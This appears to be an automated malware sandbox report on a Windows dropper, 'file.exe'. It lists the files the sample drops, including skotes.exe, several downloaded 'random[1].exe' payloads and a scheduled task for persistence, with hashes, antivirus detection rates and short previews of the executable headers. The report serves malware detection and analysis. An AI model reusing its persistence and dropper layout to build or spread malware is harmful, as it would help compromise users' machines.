SHA1:	BD61B9E695627A506AB14CAB5B7EE9E0EF674C7D
SHA-256:	383B5437E3D0B0E0F492B3689B343C5FF86DCC4A08D1B4B62083623A23CEE996
SHA-512:	34D4E8A523CC4EFF274B585300BA2A51DADB678DB010BDA0FF2446BEC3569DCD62F305893F512E024161A20886E9B852D64FB3A63707AB45401D27E20110AF47
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.0.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA730.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4600
Entropy (8bit):	4.471845531726811
Encrypted:	false
SSDEEP:	48:cvIwWl8zs4Jg77aI9XcWpW8VYJPYm8M4JO/Fu+q8Oi1MsCfAd:uIjf+I7NV7VESJze1MseAd
MD5:	C6AE161169D9B03D7DE70FB463E103D6
SHA1:	B01FD8685D5C992927DD881FEF502C2CA4323CD4
SHA-256:	B6E27C17080E0F9F3F2E02589CFEBD735BE422648BFF249D34017BBD53A488CC
SHA-512:	3ABB6E00D296FA807A1A2F8CA58315527788E56BAF9EAFC42C20C90112EA6522B834AFDC45A905901B25B1FB2234D8D6B107498BF318EE05BBF8117F2609BCEF
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="600691" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.952503793644434
Encrypted:	false
SSDEEP:	24576:J+ZNgCmBvXk8sWZamLdRWaT7pepbh9ujtFPxfXul9vwN56X9ZX/PKyods4VFOu:JM1l8sWZaKHFqujdP3yZX/yfOWO
MD5:	AE317D18BC4CA2596E61445E70CBC6DB
SHA1:	62BEB43B116740ABD9C2AF0FFFEBD823748F62A4
SHA-256:	F4ED4F57A7E4E56751ABE21CBD71AE96F72AF06F340A7F1A443E5EC09C6E81EC
SHA-512:	69BD0757E46516F0C167DE05FE9102E2BFC3858389D5D3F43B99D64CCB897FA2245D07A8210D6544EF4DA39F985B446B5245503FFD8E01A182E69E4D771A42A0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$.......pj...........@...........................j.....c.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .P+...$......v..............@...eertlowe.P....P..D...x..............@...jeayyurl.....`j.....................@....taggant.0...pj.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4395520
Entropy (8bit):	7.986283964176561
Encrypted:	false
SSDEEP:	98304:a36MwhV5hiVzKsk0PiF6mP2P1MPyqpkNtc4dV3XfqZT1:aqniVfkUiFNP2GqbJr3XSZT
MD5:	BE3A1A14663876AD1FAFA3F52FD20337
SHA1:	824AE3000F78447DB0835184A3C537B67BA1E35B
SHA-256:	CB9F29A62F2F969A423FC32A9179C8E6810984F62ACC624096D6CF844AD6F6A0
SHA-512:	E372C7CDED6669A4E30EAEFA4DA0153FCD72175AAAEC06D7E6759F4E528BAA8497986754578BF6C7C2FE348496B387A6492521619B362C537271B8108BA65F4B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@..........................0........C...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...ajtwcbtw.`.......`....'.............@...jmacswze..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2810880
Entropy (8bit):	6.484930719395234
Encrypted:	false
SSDEEP:	49152:HChGmW2lM3oXJbj4MExOYcvuq6lu/kOB9YFHEiS:HChGmWSM3oXJbgxOYcvP+uMOBSFHE
MD5:	24160B98357772CFF1F5E82F48BF18BE
SHA1:	BED6C7FE7FEBB19E927AA112AAA601DFB9028DBD
SHA-256:	686D30641FD19F689148B76F768D260B90B8AE97EAF53F4707014B6EE077418C
SHA-512:	643B03522016635674E948D2BFE182260F26B9B1EFD86A5747782EA0B00E2896D855421B689C2C2A517E4BFC7326B690436F6F1D4C9DA4B823AADBECDCFC14CB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...iqgnxywy...........:..............@...gjczkkuc. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1852416
Entropy (8bit):	7.949133574214009
Encrypted:	false
SSDEEP:	24576:Fxb6hdlLUKaSMpKAt77VF1mlSD4/bYkHi0U4qoDZ+91DjIVU3IRty8gAq5U:30dlLUKBAt77NmZ/H2PV3X3Kgn
MD5:	44EB876D74E66BC5879D4AC1B636EAF1
SHA1:	614CC57507B70108E366E88E296DB7C9C10F029E
SHA-256:	E8030C08981AE2CCCFDA22CBFD18EDE9D1E1E51495ECE00CCAE6F8EBCAD1C6F0
SHA-512:	ECC0A9A433A72BE0B9195FEA4DBF46E7F38CB8E6B3854838FFE52DD48162211086C5A4E0C09E8AE023701A7401AB205646D71485CF22558DC3289A38AEB82B92
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................pI...........@...........................I......9....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... . *..........v..............@...prornizb....../......x..............@...bkfftptq.....`I.....................@....taggant.0...pI.."..."..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592802258153091
Encrypted:	false
SSDEEP:	12288:1qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgakTM:1qDEvCTbMWu7rQYlBQcBiT6rprG8aEM
MD5:	102B6FB97B941E26C4B49DE445AEDBD7
SHA1:	F369B8D6BAD0E3C24497C0EC39113B1273752160
SHA-256:	2D01B73B6C1B6D2F98CD50A195D1593BF9733F8A15781B07A44609BF049B5646
SHA-512:	5F8EB295EA17A3F718052230AE66171EF6173F1B7CCF3517A705E2CBAC2A8BA61F7345D3C7FF5BC056D888CA6302E372676E1AB8126F9DE2425EB4A4F049A059
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Ag.........."..........d......w.............@..........................p......].....@...@.......@.....................d...\|....@..,........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...,....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4395520
Entropy (8bit):	7.986283964176561
Encrypted:	false
SSDEEP:	98304:a36MwhV5hiVzKsk0PiF6mP2P1MPyqpkNtc4dV3XfqZT1:aqniVfkUiFNP2GqbJr3XSZT
MD5:	BE3A1A14663876AD1FAFA3F52FD20337
SHA1:	824AE3000F78447DB0835184A3C537B67BA1E35B
SHA-256:	CB9F29A62F2F969A423FC32A9179C8E6810984F62ACC624096D6CF844AD6F6A0
SHA-512:	E372C7CDED6669A4E30EAEFA4DA0153FCD72175AAAEC06D7E6759F4E528BAA8497986754578BF6C7C2FE348496B387A6492521619B362C537271B8108BA65F4B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@..........................0........C...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...ajtwcbtw.`.......`....'.............@...jmacswze..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1852416
Entropy (8bit):	7.949133574214009
Encrypted:	false
SSDEEP:	24576:Fxb6hdlLUKaSMpKAt77VF1mlSD4/bYkHi0U4qoDZ+91DjIVU3IRty8gAq5U:30dlLUKBAt77NmZ/H2PV3X3Kgn
MD5:	44EB876D74E66BC5879D4AC1B636EAF1
SHA1:	614CC57507B70108E366E88E296DB7C9C10F029E
SHA-256:	E8030C08981AE2CCCFDA22CBFD18EDE9D1E1E51495ECE00CCAE6F8EBCAD1C6F0
SHA-512:	ECC0A9A433A72BE0B9195FEA4DBF46E7F38CB8E6B3854838FFE52DD48162211086C5A4E0C09E8AE023701A7401AB205646D71485CF22558DC3289A38AEB82B92
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................pI...........@...........................I......9....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... . *..........v..............@...prornizb....../......x..............@...bkfftptq.....`I.....................@....taggant.0...pI.."..."..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.952503793644434
Encrypted:	false
SSDEEP:	24576:J+ZNgCmBvXk8sWZamLdRWaT7pepbh9ujtFPxfXul9vwN56X9ZX/PKyods4VFOu:JM1l8sWZaKHFqujdP3yZX/yfOWO
MD5:	AE317D18BC4CA2596E61445E70CBC6DB
SHA1:	62BEB43B116740ABD9C2AF0FFFEBD823748F62A4
SHA-256:	F4ED4F57A7E4E56751ABE21CBD71AE96F72AF06F340A7F1A443E5EC09C6E81EC
SHA-512:	69BD0757E46516F0C167DE05FE9102E2BFC3858389D5D3F43B99D64CCB897FA2245D07A8210D6544EF4DA39F985B446B5245503FFD8E01A182E69E4D771A42A0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$.......pj...........@...........................j.....c.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .P+...$......v..............@...eertlowe.P....P..D...x..............@...jeayyurl.....`j.....................@....taggant.0...pj.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592802258153091
Encrypted:	false
SSDEEP:	12288:1qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgakTM:1qDEvCTbMWu7rQYlBQcBiT6rprG8aEM
MD5:	102B6FB97B941E26C4B49DE445AEDBD7
SHA1:	F369B8D6BAD0E3C24497C0EC39113B1273752160
SHA-256:	2D01B73B6C1B6D2F98CD50A195D1593BF9733F8A15781B07A44609BF049B5646
SHA-512:	5F8EB295EA17A3F718052230AE66171EF6173F1B7CCF3517A705E2CBAC2A8BA61F7345D3C7FF5BC056D888CA6302E372676E1AB8126F9DE2425EB4A4F049A059
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Ag.........."..........d......w.............@..........................p......].....@...@.......@.....................d...\|....@..,........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...,....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2810880
Entropy (8bit):	6.484930719395234
Encrypted:	false
SSDEEP:	49152:HChGmW2lM3oXJbj4MExOYcvuq6lu/kOB9YFHEiS:HChGmWSM3oXJbgxOYcvP+uMOBSFHE
MD5:	24160B98357772CFF1F5E82F48BF18BE
SHA1:	BED6C7FE7FEBB19E927AA112AAA601DFB9028DBD
SHA-256:	686D30641FD19F689148B76F768D260B90B8AE97EAF53F4707014B6EE077418C
SHA-512:	643B03522016635674E948D2BFE182260F26B9B1EFD86A5747782EA0B00E2896D855421B689C2C2A517E4BFC7326B690436F6F1D4C9DA4B823AADBECDCFC14CB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...iqgnxywy...........:..............@...gjczkkuc. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1938432
Entropy (8bit):	7.948961535056297
Encrypted:	false
SSDEEP:	49152:+1jiycyrpUX4bYPFPOLIvI/k2gdhfDtN8JBFN:I+2rpUXVdFvI/k2gdhLYJvN
MD5:	04A06A52131DD6AA517AEA8EFD7EAAA6
SHA1:	D200A4BC798F2F5EC733954956F62A5EABE39D8C
SHA-256:	AD1AAEE3885A39D93CBAFA2BACD8AFF7BDE905D1C93F555DB284FF01F860F346
SHA-512:	2223C5BD5ECA386248B05A7F37A98A378E0C229D7856F7953C1FBB1EF3656E1C1C3896D434FF59A4C57E8D15B7D82E68DE100B238A448F21FF1196C1E59FD21B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................M...........@.................................W...k.......D.....................L.............................<.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...enxqmdvy.....P2..v..................@...uaexcxhu......L......l..............@....taggant.0....L.."...r..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10547
Entropy (8bit):	5.495749009298186
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp6VLZNMGaXU6qU4rzy+/3/OYiNBw8d7Sl:LCeIFNMr4yrdwc0
MD5:	3F77A087A7A6475D897C4DC7900B0F9F
SHA1:	541144FF04C0D70252483BDD00CE68BA338F7685
SHA-256:	FE81A15C8A1A0875689713BE0F6D8992CE9AF756287A072182722AB0569B4FE9
SHA-512:	F2AD4783DC025FC0BA42143D222133E8DF7C70EAD582A697A88B06E75336245E46A2022170B55AC2B98FD934C23A4B97186081F22A80AD690DA80C0445089C2A
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10547
Entropy (8bit):	5.495749009298186
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp6VLZNMGaXU6qU4rzy+/3/OYiNBw8d7Sl:LCeIFNMr4yrdwc0
MD5:	3F77A087A7A6475D897C4DC7900B0F9F
SHA1:	541144FF04C0D70252483BDD00CE68BA338F7685
SHA-256:	FE81A15C8A1A0875689713BE0F6D8992CE9AF756287A072182722AB0569B4FE9
SHA-512:	F2AD4783DC025FC0BA42143D222133E8DF7C70EAD582A697A88B06E75336245E46A2022170B55AC2B98FD934C23A4B97186081F22A80AD690DA80C0445089C2A
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4371032918150877
Encrypted:	false
SSDEEP:	6:LkeWlVXUhXUEZ+lX1CGdKUe6tE9+AQy0lBBt0:Gr4Q1CGAFD9+nVBBt0
MD5:	3A3A0820835DDFB5E620C5995E10D454
SHA1:	1CA7FBD82360949758CFA3043BFABF106B0F266F
SHA-256:	D550CF65F394CADA77EF8119961671CB8E70CDCE791001EFB8101DE26CB2C460
SHA-512:	0F7397C6145A1A6EBD87EBA92DC725639474A8E464B7E0FD51064213999730C53303FE26AEDE5E482C8FA424C268B948C759459DED97065E8485D174A5C12DE3
Malicious:	false
Preview:	.........b/G..!.b.KMF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948961535056297
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'938'432 bytes
MD5:	04a06a52131dd6aa517aea8efd7eaaa6
SHA1:	d200a4bc798f2f5ec733954956f62a5eabe39d8c
SHA256:	ad1aaee3885a39d93cbafa2bacd8aff7bde905d1c93f555db284ff01f860f346
SHA512:	2223c5bd5eca386248b05a7f37a98a378e0c229d7856f7953c1fbb1ef3656e1c1c3896d434ff59a4c57e8d15b7d82e68de100b238a448f21ff1196c1e59fd21b
SSDEEP:	49152:+1jiycyrpUX4bYPFPOLIvI/k2gdhfDtN8JBFN:I+2rpUXVdFvI/k2gdhLYJvN
TLSH:	4A9533995FDFBEE4C1A741B2AC029978BA32274B9C5320FD903D463D542010EE6BBC6D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8ce000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF274E3AE6Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
